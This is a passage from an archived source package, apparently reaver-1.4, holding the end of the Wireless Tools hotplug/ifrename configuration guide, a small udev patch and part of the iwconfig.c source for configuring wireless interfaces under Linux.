"wireless-DHCP", they attempt to automatically detect the proper wireless configuration and apply it. Most will also attempt to detect network changes. The main limitation of those tools is that they offer very little manual control. If two valid alternatives are possible, you can't switch between them. If a configuration can't be detected, they usually fail. That's the same concept as using DHCP versus Static IP addresses. Some people are very happy with DHCP, my style is Static IP addresses. If you use Debian and want to use simple manual schemes, these are the things you need to do. 1) Make sure that 'ifscheme' and 'ifscheme-mapping' are installed on the system. You may find them in a separate tar file on my web site. 2) Check the path for 'ifscheme-mapping' (using whereis). 3) Modify you /etc/network/interface to add proper mapping and configuration. ------- /etc/network/interfaces ---------------------- # Enable Hotplug support (Sarge and later) mapping hotplug script echo # SMC 2835W wireless CardBus card mapping prism0 script /sbin/ifscheme-mapping iface prism0-any inet dhcp wireless-essid any wireless-mode managed iface prism0-adhoc inet static address 10.0.1.2 network 10.0.1.0 netmask 255.255.255.0 broadcast 10.0.1.255 wireless-essid THE_ESSID wireless-mode ad-hoc wireless-channel 5 iface prism0-other inet static address 10.10.10.2 network 10.10.10.0 netmask 255.255.255.0 broadcast 10.10.10.255 wireless-essid ANOTHER_ESSID wireless-mode ad-hoc wireless-key "s:secure" ------------------------------------------------------ FIRMWARE LOADING ---------------- A lot of modern wireless card don't have built in firmware and need firmware loading. Recent kernels (2.6.X) have a firmware loader. These are a few notes on how to use it. First, read the documentation coming with your driver, because each driver has specificities (like the name of the firmware file it requires). Some drivers may offer additional ways to load the firmware, but in the long term things should be standardised around the hotplug method to simplify packaging in distributions. You need to compile your kernel with firmware loading (CONFIG_FW_LOADER in "Generic Driver Options"). If your driver was built from the kernel, chances are that it enabled this feature already. Make sure you boot from this new kernel. The 'sysfs' file system must be mounted. The easiest is to mount it at boot time, add a line for it in /etc/fstab : -------- /etc/fstab ------------------------------ sysfs /sys sysfs defaults 0 0 -------------------------------------------------- Then, you add the firmware file in the directory where it's expected, which is /usr/lib/hotplug/firmware/ in most cases. Most distributions nowadays have a version of the Hotplug scripts that knows how to deal with firmware. If it is not the case, just grab the 'firmware.agent' file from an alternate source and copy it into your /etc/hotplug directory (make sure it's executable). You can try the canonical version : http://linux-hotplug.sourceforge.net/ Or Debian's version : http://packages.debian.org/unstable/admin/hotplug Note that firmware loading will usually only work with interfaces that are fully managed by Hotplug. This is the only way to ensure the that proper sequence of action is happening in the right order every time. Firmware loading may not work properly for interfaces configured in the init scripts. This means that if you have a built-in interface that require firmware loading, you should just use manage those interfaces like removable interfaces (see section above). However, interface configuration need to be explicitly triggered at boot time. One possibility is to set-up Hotplug to be run from the init script at boot time. This is usually an option for recent distributions (it's not the case for Hotplug in Debian 3.0). But, we have seen that this has some issues. The other possibility is to use an hybrid between the init script method and the hotplug method. First, you need to add an alias for the driver in /etc/modprobe.conf. Then, you need to specify a mapping for this interface in /etc/iftab, and specify a configuration for this interface and that it is enabled at boot time. Lastly, you make sure that the network init scripts run 'ifrename -p'. 'ifrename' will trigger the module to load, and all the Hotplug events will be generated properly to configure the interface. DEVICES WITH MULTIPLE NAMES --------------------------- Some wireless drivers offer multiple network interfaces for the same device. A classical example is the Aironet driver that creates a 'ethX' and 'wifiY' for each card. 'ifrename' allows you a finer selection of interfaces than 'nameif'. For example, to only rename the pseudo-Ethernet network interface name of the Aironet driver, you would do : --------- /etc/iftab ----------------------- # Cisco Aironet 350 wireless Pcmcia card airo* mac 00:07:0E:* arp 1 --------------------------------------------- After that, your device would be available through 'eth0' and 'wifi0'. You can rename both interfaces. You just need to remember that 'ifrename' starts matching from the last line of the file, so you would do : --------- /etc/iftab ----------------------- # Cisco Aironet 350 wireless Pcmcia card wifi* mac 00:07:0E:* airo* mac 00:07:0E:* arp 1 --------------------------------------------- The current version of 'ifrename' supports only the most useful selectors, but it is architectured such as adding selectors is relatively trivial. If you find a case that 'ifrename' can't handle, you should just extend it. DEVICES WITHOUT MAC ADDRESSES ----------------------------- Most Ethernet and Wireless devices have a fixed and unique MAC address, and it is therefore advised to name them based on this criteria. However, there are also network interfaces that don't have a fixed and unique MAC address, for example Ethernet over USB, IP over FireWire, PPP and tunnel interfaces. The driver for those devices creates the interface with a name specific to the driver, such as ppp* for PPP interfaces and usb* for Ethernet over USB, and therefore they are easy to identify and configure, and few users feel the need to rename them. Moreover, some of them, such as PPP, have their own configuration scripts and methodology addressing their unique needs. There are a few cases where you might want to rename interfaces without MAC addresses. One example is two Ethernet over USB dongles. The way to do this is to use alternate ifrename selectors. Choosing the right selector depends on what you want to achieve. A quick theoretical example to illustrate : --------- /etc/iftab ----------------------- # All other usbnet devices usb* driver usbnet # Specific usbnet devices usb-p firmware "Prolific PL-2301/PL-2302" usb-4 bus-info usb-00:02.0-1.4 --------------------------------------------- TROUBLESHOOTING --------------- If your interface doesn't show up as expected with ifconfig, you will need to find out why. First, you need to be familiar with the sequence of actions in the system and find which one did not happen. You need to check that the driver module(s) was loaded using 'lsmod'. You need to check if the interface was properly renamed with 'ifrename'. You can use 'ifrename -D -V' to debug your /etc/iftab. Get the list of interfaces on your system with 'ifconfig -a' or 'cat /proc/net/dev', and check if an interface is using the name you assigned or 'eth0'. Check any suspicious interfaces with 'ifconfig eth0', and check its MAC address. Note that some rare drivers don't have a proper MAC address before brought up, which fools ifrename. Verify that no line in /etc/iftab matches the all-zero MAC address. The all-zero MAC address matches the loopback interface 'lo' and various pseudo network devices, renaming the loopback interface is highly discouraged. You need to check which configuration was given to the interface using 'ifconfig' and 'iwconfig'. The Hotplug subsystem has also good debugging facilities. To enable Hotplug debugging, just make sure the variable DEBUG is defined in /sbin/hotplug : --------- /sbin/hotplug ------------------------------ --- /sbin/hotplug-old Tue Mar 26 09:00:20 2002 +++ /sbin/hotplug Fri Feb 20 18:40:38 2004 @@ -22,7 +22,7 @@ cd /etc/hotplug . hotplug.functions -# DEBUG=yes export DEBUG +DEBUG=yes export DEBUG if [ "$DEBUG" != "" ]; then mesg "arguments ($*) env (`env`)" ------------------------------------------------------ Then, you can check your message logs for Hotplug events with 'tail -f /var/log/messages'. Verify that the various Hotplug events happen as expected (pci, firmware, net...), and verify the log messages from 'net.agent'. Have fun... Jean reaver-1.4/src/lwe/udev.import_devpath.diff0000755000175000017500000000255211705505257020411 0ustar reaverreaverdiff -u -p udev-106/udev_rules.j1.c udev-106/udev_rules.c --- udev-106/udev_rules.j1.c 2007-03-15 10:07:51.000000000 -0700 +++ udev-106/udev_rules.c 2007-03-15 10:09:50.000000000 -0700 @@ -186,7 +186,16 @@ static int import_keys_into_env(struct u linepos = line; if (get_key(&linepos, &variable, &value) == 0) { dbg("import '%s=%s'", variable, value); - name_list_key_add(&udev->env_list, variable, value); + /* handle device, renamed by external tool, + * returning new path */ + if (strcmp(variable, "DEVPATH") == 0) { + info("updating devpath from '%s' to '%s'", + udev->dev->devpath, value); + sysfs_device_set_values(udev->dev, value, + NULL, NULL); + } else + name_list_key_add(&udev->env_list, + variable, value); setenv(variable, value, 1); } } diff -u -p udev-106/udevtest.j1.c udev-106/udevtest.c --- udev-106/udevtest.j1.c 2007-03-15 10:39:16.000000000 -0700 +++ udev-106/udevtest.c 2007-03-15 10:42:09.000000000 -0700 @@ -59,8 +59,13 @@ int main(int argc, char *argv[], char *e info("version %s", UDEV_VERSION); udev_config_init(); - if (udev_log_priority < LOG_INFO) + if (udev_log_priority < LOG_INFO) { + char priority[32]; + udev_log_priority = LOG_INFO; + sprintf(priority, "%i", udev_log_priority); + setenv("UDEV_LOG", priority, 1); + } for (i = 1 ; i < argc; i++) { char *arg = argv[i]; reaver-1.4/src/lwe/iwconfig.c0000755000175000017500000013377011705505257015550 0ustar reaverreaver/* * Wireless Tools * * Jean II - HPLB 97->99 - HPL 99->07 * * Main code for "iwconfig". This is the generic tool for most * manipulations... * You need to link this code against "iwlib.c" and "-lm". * * This file is released under the GPL license. * Copyright (c) 1997-2007 Jean Tourrilhes */ #include "iwlib.h" /* Header */ /**************************** CONSTANTS ****************************/ /* * Error codes defined for setting args */ #define IWERR_ARG_NUM -2 #define IWERR_ARG_TYPE -3 #define IWERR_ARG_SIZE -4 #define IWERR_ARG_CONFLICT -5 #define IWERR_SET_EXT -6 #define IWERR_GET_EXT -7 /**************************** VARIABLES ****************************/ /* * Ugly, but deal with errors in set_info() efficiently... */ static int errarg; static int errmax; /************************* DISPLAY ROUTINES **************************/ /*------------------------------------------------------------------*/ /* * Get wireless informations & config from the device driver * We will call all the classical wireless ioctl on the driver through * the socket to know what is supported and to get the settings... */ static int get_info(int skfd, char * ifname, struct wireless_info * info) { struct iwreq wrq; memset((char *) info, 0, sizeof(struct wireless_info)); /* Get basic information */ if(iw_get_basic_config(skfd, ifname, &(info->b)) < 0) { /* If no wireless name : no wireless extensions */ /* But let's check if the interface exists at all */ struct ifreq ifr; strncpy(ifr.ifr_name, ifname, IFNAMSIZ); if(ioctl(skfd, SIOCGIFFLAGS, &ifr) < 0) return(-ENODEV); else return(-ENOTSUP); } /* Get ranges */ if(iw_get_range_info(skfd, ifname, &(info->range)) >= 0) info->has_range = 1; /* Get AP address */ if(iw_get_ext(skfd, ifname, SIOCGIWAP, &wrq) >= 0) { info->has_ap_addr = 1; memcpy(&(info->ap_addr), &(wrq.u.ap_addr), sizeof (sockaddr)); } /* Get bit rate */ if(iw_get_ext(skfd, ifname, SIOCGIWRATE, &wrq) >= 0) { info->has_bitrate = 1; memcpy(&(info->bitrate), &(wrq.u.bitrate), sizeof(iwparam)); } /* Get Power Management settings */ wrq.u.power.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWPOWER, &wrq) >= 0) { info->has_power = 1; memcpy(&(info->power), &(wrq.u.power), sizeof(iwparam)); } /* Get stats */ if(iw_get_stats(skfd, ifname, &(info->stats), &info->range, info->has_range) >= 0) { info->has_stats = 1; } #ifndef WE_ESSENTIAL /* Get NickName */ wrq.u.essid.pointer = (caddr_t) info->nickname; wrq.u.essid.length = IW_ESSID_MAX_SIZE + 1; wrq.u.essid.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWNICKN, &wrq) >= 0) if(wrq.u.data.length > 1) info->has_nickname = 1; if((info->has_range) && (info->range.we_version_compiled > 9)) { /* Get Transmit Power */ if(iw_get_ext(skfd, ifname, SIOCGIWTXPOW, &wrq) >= 0) { info->has_txpower = 1; memcpy(&(info->txpower), &(wrq.u.txpower), sizeof(iwparam)); } } /* Get sensitivity */ if(iw_get_ext(skfd, ifname, SIOCGIWSENS, &wrq) >= 0) { info->has_sens = 1; memcpy(&(info->sens), &(wrq.u.sens), sizeof(iwparam)); } if((info->has_range) && (info->range.we_version_compiled > 10)) { /* Get retry limit/lifetime */ if(iw_get_ext(skfd, ifname, SIOCGIWRETRY, &wrq) >= 0) { info->has_retry = 1; memcpy(&(info->retry), &(wrq.u.retry), sizeof(iwparam)); } } /* Get RTS threshold */ if(iw_get_ext(skfd, ifname, SIOCGIWRTS, &wrq) >= 0) { info->has_rts = 1; memcpy(&(info->rts), &(wrq.u.rts), sizeof(iwparam)); } /* Get fragmentation threshold */ if(iw_get_ext(skfd, ifname, SIOCGIWFRAG, &wrq) >= 0) { info->has_frag = 1; memcpy(&(info->frag), &(wrq.u.frag), sizeof(iwparam)); } #endif /* WE_ESSENTIAL */ return(0); } /*------------------------------------------------------------------*/ /* * Print on the screen in a neat fashion all the info we have collected * on a device. */ static void display_info(struct wireless_info * info, char * ifname) { char buffer[128]; /* Temporary buffer */ /* One token is more of less 5 characters, 14 tokens per line */ int tokens = 3; /* For name */ /* Display device name and wireless name (name of the protocol used) */ printf("%-8.16s %s ", ifname, info->b.name); /* Display ESSID (extended network), if any */ if(info->b.has_essid) { if(info->b.essid_on) { /* Does it have an ESSID index ? */ if((info->b.essid_on & IW_ENCODE_INDEX) > 1) printf("ESSID:\"%s\" [%d] ", info->b.essid, (info->b.essid_on & IW_ENCODE_INDEX)); else printf("ESSID:\"%s\" ", info->b.essid); } else printf("ESSID:off/any "); } #ifndef WE_ESSENTIAL /* Display NickName (station name), if any */ if(info->has_nickname) printf("Nickname:\"%s\"", info->nickname); #endif /* WE_ESSENTIAL */ /* Formatting */ if(info->b.has_essid || info->has_nickname) { printf("\n "); tokens = 0; } #ifndef WE_ESSENTIAL /* Display Network ID */ if(info->b.has_nwid) { /* Note : should display proper number of digits according to info * in range structure */ if(info->b.nwid.disabled) printf("NWID:off/any "); else printf("NWID:%X ", info->b.nwid.value); tokens +=2; } #endif /* WE_ESSENTIAL */ /* Display the current mode of operation */ if(info->b.has_mode) { printf("Mode:%s ", iw_operation_mode[info->b.mode]); tokens +=3; } /* Display frequency / channel */ if(info->b.has_freq) { double freq = info->b.freq; /* Frequency/channel */ int channel = -1; /* Converted to channel */ /* Some drivers insist of returning channel instead of frequency. * This fixes them up. Note that, driver should still return * frequency, because other tools depend on it. */ if(info->has_range && (freq < KILO)) channel = iw_channel_to_freq((int) freq, &freq, &info->range); /* Display */ iw_print_freq(buffer, sizeof(buffer), freq, -1, info->b.freq_flags); printf("%s ", buffer); tokens +=4; } /* Display the address of the current Access Point */ if(info->has_ap_addr) { /* A bit of clever formatting */ if(tokens > 8) { printf("\n "); tokens = 0; } tokens +=6; /* Oups ! No Access Point in Ad-Hoc mode */ if((info->b.has_mode) && (info->b.mode == IW_MODE_ADHOC)) printf("Cell:"); else printf("Access Point:"); printf(" %s ", iw_sawap_ntop(&info->ap_addr, buffer)); } /* Display the currently used/set bit-rate */ if(info->has_bitrate) { /* A bit of clever formatting */ if(tokens > 11) { printf("\n "); tokens = 0; } tokens +=3; /* Display it */ iw_print_bitrate(buffer, sizeof(buffer), info->bitrate.value); printf("Bit Rate%c%s ", (info->bitrate.fixed ? '=' : ':'), buffer); } #ifndef WE_ESSENTIAL /* Display the Transmit Power */ if(info->has_txpower) { /* A bit of clever formatting */ if(tokens > 11) { printf("\n "); tokens = 0; } tokens +=3; /* Display it */ iw_print_txpower(buffer, sizeof(buffer), &info->txpower); printf("Tx-Power%c%s ", (info->txpower.fixed ? '=' : ':'), buffer); } /* Display sensitivity */ if(info->has_sens) { /* A bit of clever formatting */ if(tokens > 10) { printf("\n "); tokens = 0; } tokens +=4; /* Fixed ? */ printf("Sensitivity%c", info->sens.fixed ? '=' : ':'); if(info->has_range) /* Display in dBm ? */ if(info->sens.value < 0) printf("%d dBm ", info->sens.value); else printf("%d/%d ", info->sens.value, info->range.sensitivity); else printf("%d ", info->sens.value); } #endif /* WE_ESSENTIAL */ printf("\n "); tokens = 0; #ifndef WE_ESSENTIAL /* Display retry limit/lifetime information */ if(info->has_retry) { printf("Retry"); /* Disabled ? */ if(info->retry.disabled) printf(":off"); else { /* Let's check the value and its type */ if(info->retry.flags & IW_RETRY_TYPE) { iw_print_retry_value(buffer, sizeof(buffer), info->retry.value, info->retry.flags, info->range.we_version_compiled); printf("%s", buffer); } /* Let's check if nothing (simply on) */ if(info->retry.flags == IW_RETRY_ON) printf(":on"); } printf(" "); tokens += 5; /* Between 3 and 5, depend on flags */ } /* Display the RTS threshold */ if(info->has_rts) { /* Disabled ? */ if(info->rts.disabled) printf("RTS thr:off "); else { /* Fixed ? */ printf("RTS thr%c%d B ", info->rts.fixed ? '=' : ':', info->rts.value); } tokens += 3; } /* Display the fragmentation threshold */ if(info->has_frag) { /* A bit of clever formatting */ if(tokens > 10) { printf("\n "); tokens = 0; } tokens +=4; /* Disabled ? */ if(info->frag.disabled) printf("Fragment thr:off"); else { /* Fixed ? */ printf("Fragment thr%c%d B ", info->frag.fixed ? '=' : ':', info->frag.value); } } /* Formating */ if(tokens > 0) printf("\n "); #endif /* WE_ESSENTIAL */ /* Display encryption information */ /* Note : we display only the "current" key, use iwlist to list all keys */ if(info->b.has_key) { printf("Encryption key:"); if((info->b.key_flags & IW_ENCODE_DISABLED) || (info->b.key_size == 0)) printf("off"); else { /* Display the key */ iw_print_key(buffer, sizeof(buffer), info->b.key, info->b.key_size, info->b.key_flags); printf("%s", buffer); /* Other info... */ if((info->b.key_flags & IW_ENCODE_INDEX) > 1) printf(" [%d]", info->b.key_flags & IW_ENCODE_INDEX); if(info->b.key_flags & IW_ENCODE_RESTRICTED) printf(" Security mode:restricted"); if(info->b.key_flags & IW_ENCODE_OPEN) printf(" Security mode:open"); } printf("\n "); } /* Display Power Management information */ /* Note : we display only one parameter, period or timeout. If a device * (such as HiperLan) has both, the user need to use iwlist... */ if(info->has_power) /* I hope the device has power ;-) */ { printf("Power Management"); /* Disabled ? */ if(info->power.disabled) printf(":off"); else { /* Let's check the value and its type */ if(info->power.flags & IW_POWER_TYPE) { iw_print_pm_value(buffer, sizeof(buffer), info->power.value, info->power.flags, info->range.we_version_compiled); printf("%s ", buffer); } /* Let's check the mode */ iw_print_pm_mode(buffer, sizeof(buffer), info->power.flags); printf("%s", buffer); /* Let's check if nothing (simply on) */ if(info->power.flags == IW_POWER_ON) printf(":on"); } printf("\n "); } /* Display statistics */ if(info->has_stats) { iw_print_stats(buffer, sizeof(buffer), &info->stats.qual, &info->range, info->has_range); printf("Link %s\n", buffer); if(info->range.we_version_compiled > 11) printf(" Rx invalid nwid:%d Rx invalid crypt:%d Rx invalid frag:%d\n Tx excessive retries:%d Invalid misc:%d Missed beacon:%d\n", info->stats.discard.nwid, info->stats.discard.code, info->stats.discard.fragment, info->stats.discard.retries, info->stats.discard.misc, info->stats.miss.beacon); else printf(" Rx invalid nwid:%d invalid crypt:%d invalid misc:%d\n", info->stats.discard.nwid, info->stats.discard.code, info->stats.discard.misc); } printf("\n"); } /*------------------------------------------------------------------*/ /* * Print on the screen in a neat fashion all the info we have collected * on a device. */ static int print_info(int skfd, char * ifname, char * args[], int count) { struct wireless_info info; int rc; /* Avoid "Unused parameter" warning */ args = args; count = count; rc = get_info(skfd, ifname, &info); switch(rc) { case 0: /* Success */ /* Display it ! */ display_info(&info, ifname); break; case -ENOTSUP: fprintf(stderr, "%-8.16s no wireless extensions.\n\n", ifname); break; default: fprintf(stderr, "%-8.16s %s\n\n", ifname, strerror(-rc)); } return(rc); } /****************** COMMAND LINE MODIFIERS PARSING ******************/ /* * Factor out the parsing of command line modifiers. */ /*------------------------------------------------------------------*/ /* * Map command line modifiers to the proper flags... */ typedef struct iwconfig_modifier { const char * cmd; /* Command line shorthand */ __u16 flag; /* Flags to add */ __u16 exclude; /* Modifiers to exclude */ } iwconfig_modifier; /*------------------------------------------------------------------*/ /* * Modifiers for Power */ static const struct iwconfig_modifier iwmod_power[] = { { "min", IW_POWER_MIN, IW_POWER_MAX }, { "max", IW_POWER_MAX, IW_POWER_MIN }, { "period", IW_POWER_PERIOD, IW_POWER_TIMEOUT | IW_POWER_SAVING }, { "timeout", IW_POWER_TIMEOUT, IW_POWER_PERIOD | IW_POWER_SAVING }, { "saving", IW_POWER_SAVING, IW_POWER_TIMEOUT | IW_POWER_PERIOD }, }; #define IWMOD_POWER_NUM (sizeof(iwmod_power)/sizeof(iwmod_power[0])) /*------------------------------------------------------------------*/ /* * Modifiers for Retry */ #ifndef WE_ESSENTIAL static const struct iwconfig_modifier iwmod_retry[] = { { "min", IW_RETRY_MIN, IW_RETRY_MAX }, { "max", IW_RETRY_MAX, IW_RETRY_MIN }, { "short", IW_RETRY_SHORT, IW_RETRY_LONG }, { "long", IW_RETRY_LONG, IW_RETRY_SHORT }, { "limit", IW_RETRY_LIMIT, IW_RETRY_LIFETIME }, { "lifetime", IW_RETRY_LIFETIME, IW_RETRY_LIMIT }, }; #define IWMOD_RETRY_NUM (sizeof(iwmod_retry)/sizeof(iwmod_retry[0])) #endif /* WE_ESSENTIAL */ /*------------------------------------------------------------------*/ /* * Parse command line modifiers. * Return error or number arg parsed. * Modifiers must be at the beggining of command line. */ static int parse_modifiers(char * args[], /* Command line args */ int count, /* Args count */ __u16 * pout, /* Flags to write */ const struct iwconfig_modifier modifier[], int modnum) { int i = 0; int k = 0; __u16 result = 0; /* Default : no flag set */ /* Get all modifiers and value types on the command line */ do { for(k = 0; k < modnum; k++) { /* Check if matches */ if(!strcasecmp(args[i], modifier[k].cmd)) { /* Check for conflicting flags */ if(result & modifier[k].exclude) { errarg = i; return(IWERR_ARG_CONFLICT); } /* Just add it */ result |= modifier[k].flag; ++i; break; } } } /* For as long as current arg matched and not out of args */ while((i < count) && (k < modnum)); /* Check there remains one arg for value */ if(i >= count) return(IWERR_ARG_NUM); /* Return result */ *pout = result; return(i); } /*********************** SETTING SUB-ROUTINES ***********************/ /* * The following functions are use to set some wireless parameters and * are called by the set dispatcher set_info(). * They take as arguments the remaining of the command line, with * arguments processed already removed. * An error is indicated by a negative return value. * 0 and positive return values indicate the number of args consumed. */ /*------------------------------------------------------------------*/ /* * Set ESSID */ static int set_essid_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; int i = 1; char essid[IW_ESSID_MAX_SIZE + 1]; int we_kernel_version; if((!strcasecmp(args[0], "off")) || (!strcasecmp(args[0], "any"))) { wrq.u.essid.flags = 0; essid[0] = '\0'; } else if(!strcasecmp(args[0], "on")) { /* Get old essid */ memset(essid, '\0', sizeof(essid)); wrq.u.essid.pointer = (caddr_t) essid; wrq.u.essid.length = IW_ESSID_MAX_SIZE + 1; wrq.u.essid.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWESSID, &wrq) < 0) return(IWERR_GET_EXT); wrq.u.essid.flags = 1; } else { i = 0; /* '-' or '--' allow to escape the ESSID string, allowing * to set it to the string "any" or "off". * This is a big ugly, but it will do for now */ if((!strcmp(args[0], "-")) || (!strcmp(args[0], "--"))) { if(++i >= count) return(IWERR_ARG_NUM); } /* Check the size of what the user passed us to avoid * buffer overflows */ if(strlen(args[i]) > IW_ESSID_MAX_SIZE) { errmax = IW_ESSID_MAX_SIZE; return(IWERR_ARG_SIZE); } else { int temp; wrq.u.essid.flags = 1; strcpy(essid, args[i]); /* Size checked, all clear */ i++; /* Check for ESSID index */ if((i < count) && (sscanf(args[i], "[%i]", &temp) == 1) && (temp > 0) && (temp < IW_ENCODE_INDEX)) { wrq.u.essid.flags = temp; ++i; } } } /* Get version from kernel, device may not have range... */ we_kernel_version = iw_get_kernel_we_version(); /* Finally set the ESSID value */ wrq.u.essid.pointer = (caddr_t) essid; wrq.u.essid.length = strlen(essid); if(we_kernel_version < 21) wrq.u.essid.length++; if(iw_set_ext(skfd, ifname, SIOCSIWESSID, &wrq) < 0) return(IWERR_SET_EXT); /* Var args */ return(i); } /*------------------------------------------------------------------*/ /* * Set Mode */ static int set_mode_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; unsigned int k; /* Must be unsigned */ /* Avoid "Unused parameter" warning */ count = count; /* Check if it is a uint, otherwise get is as a string */ if(sscanf(args[0], "%i", &k) != 1) { k = 0; while((k < IW_NUM_OPER_MODE) && strncasecmp(args[0], iw_operation_mode[k], 3)) k++; } if(k >= IW_NUM_OPER_MODE) { errarg = 0; return(IWERR_ARG_TYPE); } wrq.u.mode = k; if(iw_set_ext(skfd, ifname, SIOCSIWMODE, &wrq) < 0) return(IWERR_SET_EXT); /* 1 arg */ return(1); } /*------------------------------------------------------------------*/ /* * Set frequency/channel */ static int set_freq_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; int i = 1; if(!strcasecmp(args[0], "auto")) { wrq.u.freq.m = -1; wrq.u.freq.e = 0; wrq.u.freq.flags = 0; } else { if(!strcasecmp(args[0], "fixed")) { /* Get old frequency */ if(iw_get_ext(skfd, ifname, SIOCGIWFREQ, &wrq) < 0) return(IWERR_GET_EXT); wrq.u.freq.flags = IW_FREQ_FIXED; } else /* Should be a numeric value */ { double freq; char * unit; freq = strtod(args[0], &unit); if(unit == args[0]) { errarg = 0; return(IWERR_ARG_TYPE); } if(unit != NULL) { if(unit[0] == 'G') freq *= GIGA; if(unit[0] == 'M') freq *= MEGA; if(unit[0] == 'k') freq *= KILO; } iw_float2freq(freq, &(wrq.u.freq)); wrq.u.freq.flags = IW_FREQ_FIXED; /* Check for an additional argument */ if((i < count) && (!strcasecmp(args[i], "auto"))) { wrq.u.freq.flags = 0; ++i; } if((i < count) && (!strcasecmp(args[i], "fixed"))) { wrq.u.freq.flags = IW_FREQ_FIXED; ++i; } } } if(iw_set_ext(skfd, ifname, SIOCSIWFREQ, &wrq) < 0) return(IWERR_SET_EXT); /* Var args */ return(i); } /*------------------------------------------------------------------*/ /* * Set Bit Rate */ static int set_bitrate_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; int i = 1; wrq.u.bitrate.flags = 0; if(!strcasecmp(args[0], "auto")) { wrq.u.bitrate.value = -1; wrq.u.bitrate.fixed = 0; } else { if(!strcasecmp(args[0], "fixed")) { /* Get old bitrate */ if(iw_get_ext(skfd, ifname, SIOCGIWRATE, &wrq) < 0) return(IWERR_GET_EXT); wrq.u.bitrate.fixed = 1; } else /* Should be a numeric value */ { double brate; char * unit; brate = strtod(args[0], &unit); if(unit == args[0]) { errarg = 0; return(IWERR_ARG_TYPE); } if(unit != NULL) { if(unit[0] == 'G') brate *= GIGA; if(unit[0] == 'M') brate *= MEGA; if(unit[0] == 'k') brate *= KILO; } wrq.u.bitrate.value = (long) brate; wrq.u.bitrate.fixed = 1; /* Check for an additional argument */ if((i < count) && (!strcasecmp(args[i], "auto"))) { wrq.u.bitrate.fixed = 0; ++i; } if((i < count) && (!strcasecmp(args[i], "fixed"))) { wrq.u.bitrate.fixed = 1; ++i; } if((i < count) && (!strcasecmp(args[i], "unicast"))) { wrq.u.bitrate.flags |= IW_BITRATE_UNICAST; ++i; } if((i < count) && (!strcasecmp(args[i], "broadcast"))) { wrq.u.bitrate.flags |= IW_BITRATE_BROADCAST; ++i; } } } if(iw_set_ext(skfd, ifname, SIOCSIWRATE, &wrq) < 0) return(IWERR_SET_EXT); /* Var args */ return(i); } /*------------------------------------------------------------------*/ /* * Set encryption */ static int set_enc_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; int i = 1; unsigned char key[IW_ENCODING_TOKEN_MAX]; if(!strcasecmp(args[0], "on")) { /* Get old encryption information */ wrq.u.data.pointer = (caddr_t) key; wrq.u.data.length = IW_ENCODING_TOKEN_MAX; wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWENCODE, &wrq) < 0) return(IWERR_GET_EXT); wrq.u.data.flags &= ~IW_ENCODE_DISABLED; /* Enable */ } else { int gotone = 0; int oldone; int keylen; int temp; wrq.u.data.pointer = (caddr_t) NULL; wrq.u.data.flags = 0; wrq.u.data.length = 0; i = 0; /* Allow arguments in any order (it's safe) */ do { oldone = gotone; /* -- Check for the key -- */ if(i < count) { keylen = iw_in_key_full(skfd, ifname, args[i], key, &wrq.u.data.flags); if(keylen > 0) { wrq.u.data.length = keylen; wrq.u.data.pointer = (caddr_t) key; ++i; gotone++; } } /* -- Check for token index -- */ if((i < count) && (sscanf(args[i], "[%i]", &temp) == 1) && (temp > 0) && (temp < IW_ENCODE_INDEX)) { wrq.u.encoding.flags |= temp; ++i; gotone++; } /* -- Check the various flags -- */ if((i < count) && (!strcasecmp(args[i], "off"))) { wrq.u.data.flags |= IW_ENCODE_DISABLED; ++i; gotone++; } if((i < count) && (!strcasecmp(args[i], "open"))) { wrq.u.data.flags |= IW_ENCODE_OPEN; ++i; gotone++; } if((i < count) && (!strncasecmp(args[i], "restricted", 5))) { wrq.u.data.flags |= IW_ENCODE_RESTRICTED; ++i; gotone++; } if((i < count) && (!strncasecmp(args[i], "temporary", 4))) { wrq.u.data.flags |= IW_ENCODE_TEMP; ++i; gotone++; } } while(gotone != oldone); /* Pointer is absent in new API */ if(wrq.u.data.pointer == NULL) wrq.u.data.flags |= IW_ENCODE_NOKEY; /* Check if we have any invalid argument */ if(!gotone) { errarg = 0; return(IWERR_ARG_TYPE); } } if(iw_set_ext(skfd, ifname, SIOCSIWENCODE, &wrq) < 0) return(IWERR_SET_EXT); /* Var arg */ return(i); } /*------------------------------------------------------------------*/ /* * Set Power Management */ static int set_power_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; int i = 1; if(!strcasecmp(args[0], "off")) wrq.u.power.disabled = 1; /* i.e. max size */ else if(!strcasecmp(args[0], "on")) { /* Get old Power info */ wrq.u.power.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWPOWER, &wrq) < 0) return(IWERR_GET_EXT); wrq.u.power.disabled = 0; } else { double value; char * unit; int gotone = 0; /* Parse modifiers */ i = parse_modifiers(args, count, &wrq.u.power.flags, iwmod_power, IWMOD_POWER_NUM); if(i < 0) return(i); wrq.u.power.disabled = 0; /* Is there any value to grab ? */ value = strtod(args[0], &unit); if(unit != args[0]) { struct iw_range range; int flags; /* Extract range info to handle properly 'relative' */ if(iw_get_range_info(skfd, ifname, &range) < 0) memset(&range, 0, sizeof(range)); /* Get the flags to be able to do the proper conversion */ switch(wrq.u.power.flags & IW_POWER_TYPE) { case IW_POWER_SAVING: flags = range.pms_flags; break; case IW_POWER_TIMEOUT: flags = range.pmt_flags; break; default: flags = range.pmp_flags; break; } /* Check if time or relative */ if(flags & IW_POWER_RELATIVE) { if(range.we_version_compiled < 21) value *= MEGA; else wrq.u.power.flags |= IW_POWER_RELATIVE; } else { value *= MEGA; /* default = s */ if(unit[0] == 'u') value /= MEGA; if(unit[0] == 'm') value /= KILO; } wrq.u.power.value = (long) value; /* Set some default type if none */ if((wrq.u.power.flags & IW_POWER_TYPE) == 0) wrq.u.power.flags |= IW_POWER_PERIOD; ++i; gotone = 1; } /* Now, check the mode */ if(i < count) { if(!strcasecmp(args[i], "all")) wrq.u.power.flags |= IW_POWER_ALL_R; if(!strncasecmp(args[i], "unicast", 4)) 